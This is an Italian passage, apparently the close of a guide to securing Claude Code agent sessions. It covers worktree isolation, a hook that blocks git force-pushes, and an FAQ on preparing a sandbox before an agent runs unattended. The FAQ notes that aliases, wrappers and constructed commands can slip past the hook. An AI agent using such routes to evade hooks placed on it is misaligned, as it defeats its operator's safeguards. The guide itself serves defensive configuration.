7. Non usare un worktree per le sessioni in background. Le sessioni parallele nella stessa directory interferiscono con il lavoro altrui. Claude Code ha worktree.bgIsolation, attivato per impostazione predefinita dalla versione 2.1.143, ma controlla le tue impostazioni.

E la cosa principale che nessun hook o impostazione può impedire:

Questa frase non riguarda lo stile. La persona responsabile della protezione dell’ambiente di produzione è quella che ha avviato l’agente. Claude Code è come un rasoio a mano libera: puoi usarlo per raderti, ma puoi anche tagliarti. La configurazione risponde a una domanda: hai preparato l’ambiente abbastanza bene da evitare che il rasoio tagli ciò che non dovrebbe?

Altre risorse sono disponibili su Ailoot.

Maggiori dettagli

Domande frequenti

L’hook force-push protegge la produzione contro ogni comando shell?

No. L’esempio rivisto blocca git push letterali riconosciuti con diversi ordini dei flag, branch impliciti, refspec e catene ordinarie. Alias, wrapper e comandi costruiti possono sfuggire: applica protezioni sul server ed elimina credenziali di bypass.

Cosa serve prima di lasciare un agente attivo di notte?

Un ambiente isolato senza scritture di produzione o segreti leggibili, limiti di rete e dei servizi verificati e prove delle corrispondenze e omissioni dell’hook. Gli hook aggiungono controlli senza sostituire quei confini.

Tutti gli articoli